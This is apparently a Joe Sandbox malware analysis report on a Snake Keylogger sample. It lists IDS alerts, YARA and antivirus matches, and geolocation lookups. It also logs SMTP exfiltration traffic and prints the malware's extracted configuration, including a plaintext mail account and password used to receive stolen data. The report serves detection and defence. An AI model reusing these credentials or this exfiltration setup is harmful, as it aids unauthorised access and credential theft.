Timestamp:	2024-07-26T11:39:38.805311+0200
SID:	2044767
Source Port:	49732
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.245.159.7

Timestamp:	2024-07-26T11:38:56.204357+0200
SID:	2044767
Source Port:	49730
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T11:39:08.938329+0200
SID:	2803305
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T11:39:07.032437+0200
SID:	2803274
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T11:39:55.942378+0200
SID:	2022930
Source Port:	443
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Avira: detected

Found malware configuration

Source: 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "grafik@erkanlarofis.com.tr", "Password": "19261926+-", "Host": "mail.erkanlarofis.com.tr", "Port": "587"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Virustotal: Detection: 28%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.0

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: PHCd.pdbSHA256 source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source:	Binary string: PHCd.pdb source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then jmp 06ADD0CFh	0_2_06ADD2A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then jmp 00FAF20Eh	4_2_00FAF01F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then jmp 00FAFB98h	4_2_00FAF01F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_00FAE540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_00FAEB73
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_00FAED54

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49730 -> 77.245.159.7:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: NIOBEBILISIMHIZMETLERITR NIOBEBILISIMHIZMETLERITR

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic

TCP traffic: 192.168.2.5:49730 -> 77.245.159.7:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: mail.erkanlarofis.com.tr

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A78000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgp
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C93000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CAD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://erkanlarofis.com.tr
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C93000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CAD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002CA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.erkanlarofis.com.tr
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2030808556.00000000026A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B17000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B24000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002AC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33p

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_00874B00	0_2_00874B00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0087D5DC	0_2_0087D5DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_02677BB8	0_2_02677BB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_02670040	0_2_02670040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_02670013	0_2_02670013
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_02677BA8	0_2_02677BA8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD8420	0_2_06AD8420
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD0400	0_2_06AD0400
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD03FF	0_2_06AD03FF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD03C8	0_2_06AD03C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD7FE8	0_2_06AD7FE8
